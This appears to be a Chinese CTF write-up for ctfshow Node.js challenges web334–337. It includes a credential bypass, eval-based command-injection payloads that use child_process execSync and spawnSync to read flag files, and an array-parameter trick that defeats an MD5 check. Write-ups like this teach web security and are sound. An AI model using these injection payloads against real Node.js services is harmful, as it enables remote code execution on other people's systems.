ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件

一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

php 复制代码
username:ctfshow
password:123456

因为

php 复制代码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

php 复制代码
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

php 复制代码
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

php 复制代码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
php 复制代码
数组绕过
?a[]=1&b[]=1
相关推荐
Hi~晴天大圣9 小时前
npm使用介绍
前端·npm·node.js
m0_5358175513 小时前
macOS下Claude Code从0到1配置教程(附API密钥获取+常见报错修复)
gpt·macos·node.js·api·claude·claudecode·88api
Fortinet_CHINA15 小时前
Fortinet助力“爱达·花城号”构建船岸一体化网络安全与运营体系
安全·web安全
上海云盾第一敬业销售16 小时前
DDoS防护服务:价格与性能的权衡与实战经验
web安全·ddos
用户3570850288117 小时前
我做了一个自动生成项目入门文档的 CLI 工具
node.js
HackTwoHub17 小时前
K8s综合渗透测试工具,集成信息搜集、权限逃逸、横向移动,一站式搞定全流程渗透测试工作
人工智能·安全·web安全·云原生·容器·kubernetes·系统安全
熙丫 1338148238618 小时前
CISAW应急服务线上实战培训6月班开启:基于红黑演义云平台的攻防演练与应急响应
安全·web安全
介一安全19 小时前
BurpSuite插件 OneScan 扩展版安装与实战指南
web安全·插件·安全性测试·burpsuite·安全工具
宋浮檀s20 小时前
应急响应——内网渗透基础&横向移动应急排查
网络·安全·web安全
云水一下20 小时前
模块系统与 npm——万物皆模块
前端·npm·node.js